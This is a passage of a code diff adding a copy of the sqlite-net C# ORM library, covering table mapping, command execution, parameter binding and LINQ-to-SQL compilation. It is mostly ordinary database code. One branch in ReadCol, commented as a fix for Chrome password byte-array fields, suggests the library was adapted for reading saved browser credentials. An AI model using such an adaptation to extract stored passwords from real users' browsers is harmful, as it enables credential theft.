disposing) + { + Close (); + } + + public void Close () + { + if (_open && Handle != NullHandle) { + try { + if (_mappings != null) { + foreach (var sqlInsertCommand in _mappings.Values) { + sqlInsertCommand.Dispose(); + } + } + var r = SQLite3.Close (Handle); + if (r != SQLite3.Result.OK) { + string msg = SQLite3.GetErrmsg (Handle); + throw SQLiteException.New (r, msg); + } + } + finally { + Handle = NullHandle; + _open = false; + } + } + } + } + + /// + /// Represents a parsed connection string. + /// + class SQLiteConnectionString + { + public string ConnectionString { get; private set; } + public string DatabasePath { get; private set; } + public bool StoreDateTimeAsTicks { get; private set; } + +#if NETFX_CORE + static readonly string MetroStyleDataPath = Windows.Storage.ApplicationData.Current.LocalFolder.Path; +#endif + + public SQLiteConnectionString (string databasePath, bool storeDateTimeAsTicks) + { + ConnectionString = databasePath; + StoreDateTimeAsTicks = storeDateTimeAsTicks; + +#if NETFX_CORE + DatabasePath = System.IO.Path.Combine (MetroStyleDataPath, databasePath); +#else + DatabasePath = databasePath; +#endif + } + } + + [AttributeUsage (AttributeTargets.Class)] + public class TableAttribute : Attribute + { + public string Name { get; set; } + + public TableAttribute (string name) + { + Name = name; + } + } + + [AttributeUsage (AttributeTargets.Property)] + public class ColumnAttribute : Attribute + { + public string Name { get; set; } + + public ColumnAttribute (string name) + { + Name = name; + } + } + + [AttributeUsage (AttributeTargets.Property)] + public class PrimaryKeyAttribute : Attribute + { + } + + [AttributeUsage (AttributeTargets.Property)] + public class AutoIncrementAttribute : Attribute + { + } + + [AttributeUsage (AttributeTargets.Property)] + public class IndexedAttribute : Attribute + { + public string Name { get; set; } + public int Order { get; set; } + public virtual bool Unique { get; set; } + + public IndexedAttribute() + { + } + + public IndexedAttribute(string name, int order) + { + Name = name; + Order = order; + } + } + + [AttributeUsage (AttributeTargets.Property)] + public class IgnoreAttribute : Attribute + { + } + + [AttributeUsage (AttributeTargets.Property)] + public class UniqueAttribute : IndexedAttribute + { + public override bool Unique { + get { return true; } + set { /* throw? */ } + } + } + + [AttributeUsage (AttributeTargets.Property)] + public class MaxLengthAttribute : Attribute + { + public int Value { get; private set; } + + public MaxLengthAttribute (int length) + { + Value = length; + } + } + + [AttributeUsage (AttributeTargets.Property)] + public class CollationAttribute: Attribute + { + public string Value { get; private set; } + + public CollationAttribute (string collation) + { + Value = collation; + } + } + + public class TableMapping + { + public Type MappedType { get; private set; } + + public string TableName { get; private set; } + + public Column[] Columns { get; private set; } + + public Column PK { get; private set; } + + public string GetByPrimaryKeySql { get; private set; } + + Column _autoPk; + Column[] _insertColumns; + Column[] _insertOrReplaceColumns; + + public TableMapping(Type type, CreateFlags createFlags = CreateFlags.None) + { + MappedType = type; + +#if NETFX_CORE + var tableAttr = (TableAttribute)System.Reflection.CustomAttributeExtensions + .GetCustomAttribute(type.GetTypeInfo(), typeof(TableAttribute), true); +#else + var tableAttr = (TableAttribute)type.GetCustomAttributes (typeof (TableAttribute), true).FirstOrDefault (); +#endif + + TableName = tableAttr != null ? tableAttr.Name : MappedType.Name; + +#if !NETFX_CORE + var props = MappedType.GetProperties (BindingFlags.Public | BindingFlags.Instance | BindingFlags.SetProperty); +#else + var props = from p in MappedType.GetRuntimeProperties() + where ((p.GetMethod != null && p.GetMethod.IsPublic) || (p.SetMethod != null && p.SetMethod.IsPublic) || (p.GetMethod != null && p.GetMethod.IsStatic) || (p.SetMethod != null && p.SetMethod.IsStatic)) + select p; +#endif + var cols = new List (); + foreach (var p in props) { +#if !NETFX_CORE + var ignore = p.GetCustomAttributes (typeof(IgnoreAttribute), true).Length > 0; +#else + var ignore = p.GetCustomAttributes (typeof(IgnoreAttribute), true).Count() > 0; +#endif + if (p.CanWrite && !ignore) { + cols.Add (new Column (p, createFlags)); + } + } + Columns = cols.ToArray (); + foreach (var c in Columns) { + if (c.IsAutoInc && c.IsPK) { + _autoPk = c; + } + if (c.IsPK) { + PK = c; + } + } + + HasAutoIncPK = _autoPk != null; + + if (PK != null) { + GetByPrimaryKeySql = string.Format ("select * from \"{0}\" where \"{1}\" = ?", TableName, PK.Name); + } + else { + // People should not be calling Get/Find without a PK + GetByPrimaryKeySql = string.Format ("select * from \"{0}\" limit 1", TableName); + } + } + + public bool HasAutoIncPK { get; private set; } + + public void SetAutoIncPK (object obj, long id) + { + if (_autoPk != null) { + _autoPk.SetValue (obj, Convert.ChangeType (id, _autoPk.ColumnType, null)); + } + } + + public Column[] InsertColumns { + get { + if (_insertColumns == null) { + _insertColumns = Columns.Where (c => !c.IsAutoInc).ToArray (); + } + return _insertColumns; + } + } + + public Column[] InsertOrReplaceColumns { + get { + if (_insertOrReplaceColumns == null) { + _insertOrReplaceColumns = Columns.ToArray (); + } + return _insertOrReplaceColumns; + } + } + + public Column FindColumnWithPropertyName (string propertyName) + { + var exact = Columns.FirstOrDefault (c => c.PropertyName == propertyName); + return exact; + } + + public Column FindColumn (string columnName) + { + var exact = Columns.FirstOrDefault (c => c.Name == columnName); + return exact; + } + + PreparedSqlLiteInsertCommand _insertCommand; + string _insertCommandExtra; + + public PreparedSqlLiteInsertCommand GetInsertCommand(SQLiteConnection conn, string extra) + { + if (_insertCommand == null) { + _insertCommand = CreateInsertCommand(conn, extra); + _insertCommandExtra = extra; + } + else if (_insertCommandExtra != extra) { + _insertCommand.Dispose(); + _insertCommand = CreateInsertCommand(conn, extra); + _insertCommandExtra = extra; + } + return _insertCommand; + } + + PreparedSqlLiteInsertCommand CreateInsertCommand(SQLiteConnection conn, string extra) + { + var cols = InsertColumns; + string insertSql; + if (!cols.Any() && Columns.Count() == 1 && Columns[0].IsAutoInc) + { + insertSql = string.Format("insert {1} into \"{0}\" default values", TableName, extra); + } + else + { + var replacing = string.Compare (extra, "OR REPLACE", StringComparison.OrdinalIgnoreCase) == 0; + + if (replacing) { + cols = InsertOrReplaceColumns; + } + + insertSql = string.Format("insert {3} into \"{0}\"({1}) values ({2})", TableName, + string.Join(",", (from c in cols + select "\"" + c.Name + "\"").ToArray()), + string.Join(",", (from c in cols + select "?").ToArray()), extra); + + } + + var insertCommand = new PreparedSqlLiteInsertCommand(conn); + insertCommand.CommandText = insertSql; + return insertCommand; + } + + protected internal void Dispose() + { + if (_insertCommand != null) { + _insertCommand.Dispose(); + _insertCommand = null; + } + } + + public class Column + { + PropertyInfo _prop; + + public string Name { get; private set; } + + public string PropertyName { get { return _prop.Name; } } + + public Type ColumnType { get; private set; } + + public string Collation { get; private set; } + + public bool IsAutoInc { get; private set; } + public bool IsAutoGuid { get; private set; } + + public bool IsPK { get; private set; } + + public IEnumerable Indices { get; set; } + + public bool IsNullable { get; private set; } + + public int MaxStringLength { get; private set; } + + public Column(PropertyInfo prop, CreateFlags createFlags = CreateFlags.None) + { + var colAttr = (ColumnAttribute)prop.GetCustomAttributes(typeof(ColumnAttribute), true).FirstOrDefault(); + + _prop = prop; + Name = colAttr == null ? prop.Name : colAttr.Name; + //If this type is Nullable then Nullable.GetUnderlyingType returns the T, otherwise it returns null, so get the actual type instead + ColumnType = Nullable.GetUnderlyingType(prop.PropertyType) ?? prop.PropertyType; + Collation = Orm.Collation(prop); + + IsPK = Orm.IsPK(prop) || + (((createFlags & CreateFlags.ImplicitPK) == CreateFlags.ImplicitPK) && + string.Compare (prop.Name, Orm.ImplicitPkName, StringComparison.OrdinalIgnoreCase) == 0); + + var isAuto = Orm.IsAutoInc(prop) || (IsPK && ((createFlags & CreateFlags.AutoIncPK) == CreateFlags.AutoIncPK)); + IsAutoGuid = isAuto && ColumnType == typeof(Guid); + IsAutoInc = isAuto && !IsAutoGuid; + + Indices = Orm.GetIndices(prop); + if (!Indices.Any() + && !IsPK + && ((createFlags & CreateFlags.ImplicitIndex) == CreateFlags.ImplicitIndex) + && Name.EndsWith (Orm.ImplicitIndexSuffix, StringComparison.OrdinalIgnoreCase) + ) + { + Indices = new IndexedAttribute[] { new IndexedAttribute() }; + } + IsNullable = !IsPK; + MaxStringLength = Orm.MaxStringLength(prop); + } + + public void SetValue (object obj, object val) + { + _prop.SetValue (obj, val, null); + } + + public object GetValue (object obj) + { + return _prop.GetValue (obj, null); + } + } + } + + public static class Orm + { + public const int DefaultMaxStringLength = 140; + public const string ImplicitPkName = "Id"; + public const string ImplicitIndexSuffix = "Id"; + + public static string SqlDecl (TableMapping.Column p, bool storeDateTimeAsTicks) + { + string decl = "\"" + p.Name + "\" " + SqlType (p, storeDateTimeAsTicks) + " "; + + if (p.IsPK) { + decl += "primary key "; + } + if (p.IsAutoInc) { + decl += "autoincrement "; + } + if (!p.IsNullable) { + decl += "not null "; + } + if (!string.IsNullOrEmpty (p.Collation)) { + decl += "collate " + p.Collation + " "; + } + + return decl; + } + + public static string SqlType (TableMapping.Column p, bool storeDateTimeAsTicks) + { + var clrType = p.ColumnType; + if (clrType == typeof(Boolean) || clrType == typeof(Byte) || clrType == typeof(UInt16) || clrType == typeof(SByte) || clrType == typeof(Int16) || clrType == typeof(Int32)) { + return "integer"; + } else if (clrType == typeof(UInt32) || clrType == typeof(Int64)) { + return "bigint"; + } else if (clrType == typeof(Single) || clrType == typeof(Double) || clrType == typeof(Decimal)) { + return "float"; + } else if (clrType == typeof(String)) { + int len = p.MaxStringLength; + return "varchar(" + len + ")"; + } else if (clrType == typeof(DateTime)) { + return storeDateTimeAsTicks ? "bigint" : "datetime"; +#if !NETFX_CORE + } else if (clrType.IsEnum) { +#else + } else if (clrType.GetTypeInfo().IsEnum) { +#endif + return "integer"; + } else if (clrType == typeof(byte[])) { + return "blob"; + } else if (clrType == typeof(Guid)) { + return "varchar(36)"; + } else { + throw new NotSupportedException ("Don't know about " + clrType); + } + } + + public static bool IsPK (MemberInfo p) + { + var attrs = p.GetCustomAttributes (typeof(PrimaryKeyAttribute), true); +#if !NETFX_CORE + return attrs.Length > 0; +#else + return attrs.Count() > 0; +#endif + } + + public static string Collation (MemberInfo p) + { + var attrs = p.GetCustomAttributes (typeof(CollationAttribute), true); +#if !NETFX_CORE + if (attrs.Length > 0) { + return ((CollationAttribute)attrs [0]).Value; +#else + if (attrs.Count() > 0) { + return ((CollationAttribute)attrs.First()).Value; +#endif + } else { + return string.Empty; + } + } + + public static bool IsAutoInc (MemberInfo p) + { + var attrs = p.GetCustomAttributes (typeof(AutoIncrementAttribute), true); +#if !NETFX_CORE + return attrs.Length > 0; +#else + return attrs.Count() > 0; +#endif + } + + public static IEnumerable GetIndices(MemberInfo p) + { + var attrs = p.GetCustomAttributes(typeof(IndexedAttribute), true); + return attrs.Cast(); + } + + public static int MaxStringLength(PropertyInfo p) + { + var attrs = p.GetCustomAttributes (typeof(MaxLengthAttribute), true); +#if !NETFX_CORE + if (attrs.Length > 0) { + return ((MaxLengthAttribute)attrs [0]).Value; +#else + if (attrs.Count() > 0) { + return ((MaxLengthAttribute)attrs.First()).Value; +#endif + } else { + return DefaultMaxStringLength; + } + } + } + + public partial class SQLiteCommand + { + SQLiteConnection _conn; + private List _bindings; + + public string CommandText { get; set; } + + internal SQLiteCommand (SQLiteConnection conn) + { + _conn = conn; + _bindings = new List (); + CommandText = ""; + } + + public int ExecuteNonQuery () + { + if (_conn.Trace) { + Debug.WriteLine ("Executing: " + this); + } + + var r = SQLite3.Result.OK; + var stmt = Prepare (); + r = SQLite3.Step (stmt); + Finalize (stmt); + if (r == SQLite3.Result.Done) { + int rowsAffected = SQLite3.Changes (_conn.Handle); + return rowsAffected; + } else if (r == SQLite3.Result.Error) { + string msg = SQLite3.GetErrmsg (_conn.Handle); + throw SQLiteException.New (r, msg); + } else { + throw SQLiteException.New (r, r.ToString ()); + } + } + + public List ExecuteQuery() + { + return ExecuteDeferredQuery().ToList(); + } + /* + public class SQLiteQueryRow + { + public List column; + } + public class SQLiteQueryColumn + { + public string Key; + public object Value; + } + */ + public IEnumerable ExecuteDeferredQuery() + { + if (_conn.Trace) + { + Debug.WriteLine("Executing Query: " + this); + } + + var stmt = Prepare(); + try + { + var cols = new string[SQLite3.ColumnCount(stmt)]; + + for (int i = 0; i < cols.Length; i++) + { + var name = SQLite3.ColumnName16(stmt, i); + cols[i] = name; + } + + while (SQLite3.Step(stmt) == SQLite3.Result.Row) + { + var row = new SQLiteQueryRow(); + for (int i = 0; i < cols.Length; i++) + { + var colType = SQLite3.ColumnType(stmt, i); + + Type targetType; + switch (colType) + { + case SQLite3.ColType.Text: + targetType = typeof(string); + break; + case SQLite3.ColType.Integer: + targetType = typeof(int); + break; + case SQLite3.ColType.Float: + targetType = typeof(double); + break; + default: + targetType = typeof(object); + break; + } + + var val = ReadCol(stmt, i, colType, targetType); + var column = new SQLiteQueryColumn(); + column.Key = cols[i]; + column.Value = val; + if (row.column == null) + row.column = new List(); + row.column.Add(column); + } + OnInstanceCreated(row); + yield return row; + } + } + finally + { + SQLite3.Finalize(stmt); + } + } + + + + public IEnumerable ExecuteDeferredQuery () + { + return ExecuteDeferredQuery(_conn.GetMapping(typeof(T))); + } + + public List ExecuteQuery () + { + return ExecuteDeferredQuery(_conn.GetMapping(typeof(T))).ToList(); + } + + public List ExecuteQuery (TableMapping map) + { + return ExecuteDeferredQuery(map).ToList(); + } + + /// + /// Invoked every time an instance is loaded from the database. + /// + /// + /// The newly created object. + /// + /// + /// This can be overridden in combination with the + /// method to hook into the life-cycle of objects. + /// + /// Type safety is not possible because MonoTouch does not support virtual generic methods. + /// + protected virtual void OnInstanceCreated (object obj) + { + // Can be overridden. + } + + public IEnumerable ExecuteDeferredQuery (TableMapping map) + { + if (_conn.Trace) { + Debug.WriteLine ("Executing Query: " + this); + } + + var stmt = Prepare (); + try + { + var cols = new TableMapping.Column[SQLite3.ColumnCount (stmt)]; + + for (int i = 0; i < cols.Length; i++) { + var name = SQLite3.ColumnName16 (stmt, i); + cols [i] = map.FindColumn (name); + } + + while (SQLite3.Step (stmt) == SQLite3.Result.Row) { + var obj = Activator.CreateInstance(map.MappedType); + for (int i = 0; i < cols.Length; i++) { + if (cols [i] == null) + continue; + var colType = SQLite3.ColumnType (stmt, i); + var val = ReadCol (stmt, i, colType, cols [i].ColumnType); + cols [i].SetValue (obj, val); + } + OnInstanceCreated (obj); + yield return (T)obj; + } + } + finally + { + SQLite3.Finalize(stmt); + } + } + + public T ExecuteScalar () + { + if (_conn.Trace) { + Debug.WriteLine ("Executing Query: " + this); + } + + T val = default(T); + + var stmt = Prepare (); + + try + { + var r = SQLite3.Step (stmt); + if (r == SQLite3.Result.Row) { + var colType = SQLite3.ColumnType (stmt, 0); + val = (T)ReadCol (stmt, 0, colType, typeof(T)); + } + else if (r == SQLite3.Result.Done) { + } + else + { + throw SQLiteException.New (r, SQLite3.GetErrmsg (_conn.Handle)); + } + } + finally + { + Finalize (stmt); + } + + return val; + } + + public void Bind (string name, object val) + { + _bindings.Add (new Binding { + Name = name, + Value = val + }); + } + + public void Bind (object val) + { + Bind (null, val); + } + + public override string ToString () + { + var parts = new string[1 + _bindings.Count]; + parts [0] = CommandText; + var i = 1; + foreach (var b in _bindings) { + parts [i] = string.Format (" {0}: {1}", i - 1, b.Value); + i++; + } + return string.Join (Environment.NewLine, parts); + } + + Sqlite3Statement Prepare() + { + var stmt = SQLite3.Prepare2 (_conn.Handle, CommandText); + BindAll (stmt); + return stmt; + } + + void Finalize (Sqlite3Statement stmt) + { + SQLite3.Finalize (stmt); + } + + void BindAll (Sqlite3Statement stmt) + { + int nextIdx = 1; + foreach (var b in _bindings) { + if (b.Name != null) { + b.Index = SQLite3.BindParameterIndex (stmt, b.Name); + } else { + b.Index = nextIdx++; + } + + BindParameter (stmt, b.Index, b.Value, _conn.StoreDateTimeAsTicks); + } + } + + internal static IntPtr NegativePointer = new IntPtr (-1); + + internal static void BindParameter (Sqlite3Statement stmt, int index, object value, bool storeDateTimeAsTicks) + { + if (value == null) { + SQLite3.BindNull (stmt, index); + } else { + if (value is Int32) { + SQLite3.BindInt (stmt, index, (int)value); + } else if (value is String) { + SQLite3.BindText (stmt, index, (string)value, -1, NegativePointer); + } else if (value is Byte || value is UInt16 || value is SByte || value is Int16) { + SQLite3.BindInt (stmt, index, Convert.ToInt32 (value)); + } else if (value is Boolean) { + SQLite3.BindInt (stmt, index, (bool)value ? 1 : 0); + } else if (value is UInt32 || value is Int64) { + SQLite3.BindInt64 (stmt, index, Convert.ToInt64 (value)); + } else if (value is Single || value is Double || value is Decimal) { + SQLite3.BindDouble (stmt, index, Convert.ToDouble (value)); + } else if (value is DateTime) { + if (storeDateTimeAsTicks) { + SQLite3.BindInt64 (stmt, index, ((DateTime)value).Ticks); + } + else { + SQLite3.BindText (stmt, index, ((DateTime)value).ToString ("yyyy-MM-dd HH:mm:ss"), -1, NegativePointer); + } +#if !NETFX_CORE + } else if (value.GetType().IsEnum) { +#else + } else if (value.GetType().GetTypeInfo().IsEnum) { +#endif + SQLite3.BindInt (stmt, index, Convert.ToInt32 (value)); + } else if (value is byte[]){ + SQLite3.BindBlob(stmt, index, (byte[]) value, ((byte[]) value).Length, NegativePointer); + } else if (value is Guid) { + SQLite3.BindText(stmt, index, ((Guid)value).ToString(), 72, NegativePointer); + } else { + throw new NotSupportedException("Cannot store type: " + value.GetType()); + } + } + } + + class Binding + { + public string Name { get; set; } + + public object Value { get; set; } + + public int Index { get; set; } + } + + object ReadCol (Sqlite3Statement stmt, int index, SQLite3.ColType type, Type clrType) + { + if (type == SQLite3.ColType.Null) { + return null; + } else { + if (clrType == typeof(String)) { + return SQLite3.ColumnString (stmt, index); + } else if (clrType == typeof(Int32)) { + return (int)SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(Boolean)) { + return SQLite3.ColumnInt (stmt, index) == 1; + } else if (clrType == typeof(double)) { + return SQLite3.ColumnDouble (stmt, index); + } else if (clrType == typeof(float)) { + return (float)SQLite3.ColumnDouble (stmt, index); + } else if (clrType == typeof(DateTime)) { + if (_conn.StoreDateTimeAsTicks) { + return new DateTime (SQLite3.ColumnInt64 (stmt, index)); + } + else { + var text = SQLite3.ColumnString (stmt, index); + return DateTime.Parse (text); + } +#if !NETFX_CORE + } else if (clrType.IsEnum) { +#else + } else if (clrType.GetTypeInfo().IsEnum) { +#endif + return SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(Int64)) { + return SQLite3.ColumnInt64 (stmt, index); + } else if (clrType == typeof(UInt32)) { + return (uint)SQLite3.ColumnInt64 (stmt, index); + } else if (clrType == typeof(decimal)) { + return (decimal)SQLite3.ColumnDouble (stmt, index); + } else if (clrType == typeof(Byte)) { + return (byte)SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(UInt16)) { + return (ushort)SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(Int16)) { + return (short)SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(sbyte)) { + return (sbyte)SQLite3.ColumnInt (stmt, index); + } else if (clrType == typeof(byte[])) { + return SQLite3.ColumnByteArray (stmt, index); + } + else if (clrType == typeof(System.Object)) + { + // fix for Chrome byte[] array fields like password/etc. + // -@harmj0y + return SQLite3.ColumnByteArray(stmt, index); + } + else if (clrType == typeof(Guid)) { + var text = SQLite3.ColumnString(stmt, index); + return new Guid(text); + } else{ + throw new NotSupportedException ("Don't know how to read " + clrType); + } + } + } + } + + /// + /// Since the insert never changed, we only need to prepare once. + /// + public class PreparedSqlLiteInsertCommand : IDisposable + { + public bool Initialized { get; set; } + + protected SQLiteConnection Connection { get; set; } + + public string CommandText { get; set; } + + protected Sqlite3Statement Statement { get; set; } + internal static readonly Sqlite3Statement NullStatement = default(Sqlite3Statement); + + internal PreparedSqlLiteInsertCommand (SQLiteConnection conn) + { + Connection = conn; + } + + public int ExecuteNonQuery (object[] source) + { + if (Connection.Trace) { + Debug.WriteLine ("Executing: " + CommandText); + } + + var r = SQLite3.Result.OK; + + if (!Initialized) { + Statement = Prepare (); + Initialized = true; + } + + //bind the values. + if (source != null) { + for (int i = 0; i < source.Length; i++) { + SQLiteCommand.BindParameter (Statement, i + 1, source [i], Connection.StoreDateTimeAsTicks); + } + } + r = SQLite3.Step (Statement); + + if (r == SQLite3.Result.Done) { + int rowsAffected = SQLite3.Changes (Connection.Handle); + SQLite3.Reset (Statement); + return rowsAffected; + } else if (r == SQLite3.Result.Error) { + string msg = SQLite3.GetErrmsg (Connection.Handle); + SQLite3.Reset (Statement); + throw SQLiteException.New (r, msg); + } else { + SQLite3.Reset (Statement); + throw SQLiteException.New (r, r.ToString ()); + } + } + + protected virtual Sqlite3Statement Prepare () + { + var stmt = SQLite3.Prepare2 (Connection.Handle, CommandText); + return stmt; + } + + public void Dispose () + { + Dispose (true); + GC.SuppressFinalize (this); + } + + private void Dispose (bool disposing) + { + if (Statement != NullStatement) { + try { + SQLite3.Finalize (Statement); + } finally { + Statement = NullStatement; + Connection = null; + } + } + } + + ~PreparedSqlLiteInsertCommand () + { + Dispose (false); + } + } + + public abstract class BaseTableQuery + { + protected class Ordering + { + public string ColumnName { get; set; } + public bool Ascending { get; set; } + } + } + + public class TableQuery : BaseTableQuery, IEnumerable + { + public SQLiteConnection Connection { get; private set; } + + public TableMapping Table { get; private set; } + + Expression _where; + List _orderBys; + int? _limit; + int? _offset; + + BaseTableQuery _joinInner; + Expression _joinInnerKeySelector; + BaseTableQuery _joinOuter; + Expression _joinOuterKeySelector; + Expression _joinSelector; + + Expression _selector; + + TableQuery (SQLiteConnection conn, TableMapping table) + { + Connection = conn; + Table = table; + } + + public TableQuery (SQLiteConnection conn) + { + Connection = conn; + Table = Connection.GetMapping (typeof(T)); + } + + public TableQuery Clone () + { + var q = new TableQuery (Connection, Table); + q._where = _where; + q._deferred = _deferred; + if (_orderBys != null) { + q._orderBys = new List (_orderBys); + } + q._limit = _limit; + q._offset = _offset; + q._joinInner = _joinInner; + q._joinInnerKeySelector = _joinInnerKeySelector; + q._joinOuter = _joinOuter; + q._joinOuterKeySelector = _joinOuterKeySelector; + q._joinSelector = _joinSelector; + q._selector = _selector; + return q; + } + + public TableQuery Where (Expression> predExpr) + { + if (predExpr.NodeType == ExpressionType.Lambda) { + var lambda = (LambdaExpression)predExpr; + var pred = lambda.Body; + var q = Clone (); + q.AddWhere (pred); + return q; + } else { + throw new NotSupportedException ("Must be a predicate"); + } + } + + public TableQuery Take (int n) + { + var q = Clone (); + q._limit = n; + return q; + } + + public TableQuery Skip (int n) + { + var q = Clone (); + q._offset = n; + return q; + } + + public T ElementAt (int index) + { + return Skip (index).Take (1).First (); + } + + bool _deferred; + public TableQuery Deferred () + { + var q = Clone (); + q._deferred = true; + return q; + } + + public TableQuery OrderBy (Expression> orderExpr) + { + return AddOrderBy (orderExpr, true); + } + + public TableQuery OrderByDescending (Expression> orderExpr) + { + return AddOrderBy (orderExpr, false); + } + + private TableQuery AddOrderBy (Expression> orderExpr, bool asc) + { + if (orderExpr.NodeType == ExpressionType.Lambda) { + var lambda = (LambdaExpression)orderExpr; + + MemberExpression mem = null; + + var unary = lambda.Body as UnaryExpression; + if (unary != null && unary.NodeType == ExpressionType.Convert) { + mem = unary.Operand as MemberExpression; + } + else { + mem = lambda.Body as MemberExpression; + } + + if (mem != null && (mem.Expression.NodeType == ExpressionType.Parameter)) { + var q = Clone (); + if (q._orderBys == null) { + q._orderBys = new List (); + } + q._orderBys.Add (new Ordering { + ColumnName = Table.FindColumnWithPropertyName(mem.Member.Name).Name, + Ascending = asc + }); + return q; + } else { + throw new NotSupportedException ("Order By does not support: " + orderExpr); + } + } else { + throw new NotSupportedException ("Must be a predicate"); + } + } + + private void AddWhere (Expression pred) + { + if (_where == null) { + _where = pred; + } else { + _where = Expression.AndAlso (_where, pred); + } + } + + public TableQuery Join ( + TableQuery inner, + Expression> outerKeySelector, + Expression> innerKeySelector, + Expression> resultSelector) + { + var q = new TableQuery (Connection, Connection.GetMapping (typeof (TResult))) { + _joinOuter = this, + _joinOuterKeySelector = outerKeySelector, + _joinInner = inner, + _joinInnerKeySelector = innerKeySelector, + _joinSelector = resultSelector, + }; + return q; + } + + public TableQuery Select (Expression> selector) + { + var q = Clone (); + q._selector = selector; + return q; + } + + private SQLiteCommand GenerateCommand (string selectionList) + { + if (_joinInner != null && _joinOuter != null) { + throw new NotSupportedException ("Joins are not supported."); + } + else { + var cmdText = "select " + selectionList + " from \"" + Table.TableName + "\""; + var args = new List (); + if (_where != null) { + var w = CompileExpr (_where, args); + cmdText += " where " + w.CommandText; + } + if ((_orderBys != null) && (_orderBys.Count > 0)) { + var t = string.Join (", ", _orderBys.Select (o => "\"" + o.ColumnName + "\"" + (o.Ascending ? "" : " desc")).ToArray ()); + cmdText += " order by " + t; + } + if (_limit.HasValue) { + cmdText += " limit " + _limit.Value; + } + if (_offset.HasValue) { + if (!_limit.HasValue) { + cmdText += " limit -1 "; + } + cmdText += " offset " + _offset.Value; + } + return Connection.CreateCommand (cmdText, args.ToArray ()); + } + } + + class CompileResult + { + public string CommandText { get; set; } + + public object Value { get; set; } + } + + private CompileResult CompileExpr (Expression expr, List queryArgs) + { + if (expr == null) { + throw new NotSupportedException ("Expression is NULL"); + } else if (expr is BinaryExpression) { + var bin = (BinaryExpression)expr; + + var leftr = CompileExpr (bin.Left, queryArgs); + var rightr = CompileExpr (bin.Right, queryArgs); + + //If either side is a parameter and is null, then handle the other side specially (for "is null"/"is not null") + string text; + if (leftr.CommandText == "?" && leftr.Value == null) + text = CompileNullBinaryExpression(bin, rightr); + else if (rightr.CommandText == "?" && rightr.Value == null) + text = CompileNullBinaryExpression(bin, leftr); + else + text = "(" + leftr.CommandText + " " + GetSqlName(bin) + " " + rightr.CommandText + ")"; + return new CompileResult { CommandText = text }; + } else if (expr.NodeType == ExpressionType.Call) { + + var call = (MethodCallExpression)expr; + var args = new CompileResult[call.Arguments.Count]; + var obj = call.Object != null ? CompileExpr (call.Object, queryArgs) : null; + + for (var i = 0; i < args.Length; i++) { + args [i] = CompileExpr (call.Arguments [i], queryArgs); + } + + var sqlCall = ""; + + if (call.Method.Name == "Like" && args.Length == 2) { + sqlCall = "(" + args [0].CommandText + " like " + args [1].CommandText + ")"; + } + else if (call.Method.Name == "Contains" && args.Length == 2) { + sqlCall = "(" + args [1].CommandText + " in " + args [0].CommandText + ")"; + } + else if (call.Method.Name == "Contains" && args.Length == 1) { + if (call.Object != null && call.Object.Type == typeof(string)) { + sqlCall = "(" + obj.CommandText + " like ('%' || " + args [0].CommandText + " || '%'))"; + } + else { + sqlCall = "(" + args [0].CommandText + " in " + obj.CommandText + ")"; + } + } + else if (call.Method.Name == "StartsWith" && args.Length == 1) { + sqlCall = "(" + obj.CommandText + " like (" + args [0].CommandText + " || '%'))"; + } + else if (call.Method.Name == "EndsWith" && args.Length == 1) { + sqlCall = "(" + obj.CommandText + " like ('%' || " + args [0].CommandText + "))"; + } + else if (call.Method.Name == "Equals" && args.Length == 1) { + sqlCall = "(" + obj.CommandText + " = (" + args[0].CommandText + "))"; + } else if (call.Method.Name == "ToLower") { + sqlCall = "(lower(" + obj.CommandText + "))"; + } else { + sqlCall = call.Method.Name.ToLower () + "(" + string.Join (",", args.Select (a => a.CommandText).ToArray ()) + ")"; + } + return new CompileResult { CommandText = sqlCall }; + + } else if (expr.NodeType == ExpressionType.Constant) { + var c = (ConstantExpression)expr; + queryArgs.Add (c.Value); + return new CompileResult { + CommandText = "?", + Value = c.Value + }; + } else if (expr.NodeType == ExpressionType.Convert) { + var u = (UnaryExpression)expr; + var ty = u.Type; + var valr = CompileExpr (u.Operand, queryArgs); + return new CompileResult { + CommandText = valr.CommandText, + Value = valr.Value != null ? ConvertTo (valr.Value, ty) : null + }; + } else if (expr.NodeType == ExpressionType.MemberAccess) { + var mem = (MemberExpression)expr; + + if (mem.Expression!=null && mem.Expression.NodeType == ExpressionType.Parameter) { + // + // This is a column of our table, output just the column name + // Need to translate it if that column name is mapped + // + var columnName = Table.FindColumnWithPropertyName (mem.Member.Name).Name; + return new CompileResult { CommandText = "\"" + columnName + "\"" }; + } else { + object obj = null; + if (mem.Expression != null) { + var r = CompileExpr (mem.Expression, queryArgs); + if (r.Value == null) { + throw new NotSupportedException ("Member access failed to compile expression"); + } + if (r.CommandText == "?") { + queryArgs.RemoveAt (queryArgs.Count - 1); + } + obj = r.Value; + } + + // + // Get the member value + // + object val = null; + +#if !NETFX_CORE + if (mem.Member.MemberType == MemberTypes.Property) { +#else + if (mem.Member is PropertyInfo) { +#endif + var m = (PropertyInfo)mem.Member; + val = m.GetValue (obj, null); +#if !NETFX_CORE + } else if (mem.Member.MemberType == MemberTypes.Field) { +#else + } else if (mem.Member is FieldInfo) { +#endif +#if !NO_SILVERLIGHT + val = Expression.Lambda (expr).Compile ().DynamicInvoke (); +#else + var m = (FieldInfo)mem.Member; + val = m.GetValue (obj); +#endif + } else { +#if !NETFX_CORE + throw new NotSupportedException ("MemberExpr: " + mem.Member.MemberType); +#else + throw new NotSupportedException ("MemberExpr: " + mem.Member.DeclaringType); +#endif + } + + // + // Work special magic for enumerables + // + if (val != null && val is System.Collections.IEnumerable && !(val is string)) { + var sb = new System.Text.StringBuilder(); + sb.Append("("); + var head = ""; + foreach (var a in (System.Collections.IEnumerable)val) { + queryArgs.Add(a); + sb.Append(head); + sb.Append("?"); + head = ","; + } + sb.Append(")"); + return new CompileResult { + CommandText = sb.ToString(), + Value = val + }; + } + else { + queryArgs.Add (val); + return new CompileResult { + CommandText = "?", + Value = val + }; + } + } + } + throw new NotSupportedException ("Cannot compile: " + expr.NodeType.ToString ()); + } + + static object ConvertTo (object obj, Type t) + { + Type nut = Nullable.GetUnderlyingType(t); + + if (nut != null) { + if (obj == null) return null; + return Convert.ChangeType (obj, nut); + } else { + return Convert.ChangeType (obj, t); + } + } + + /// + /// Compiles a BinaryExpression where one of the parameters is null. + /// + /// The non-null parameter + private string 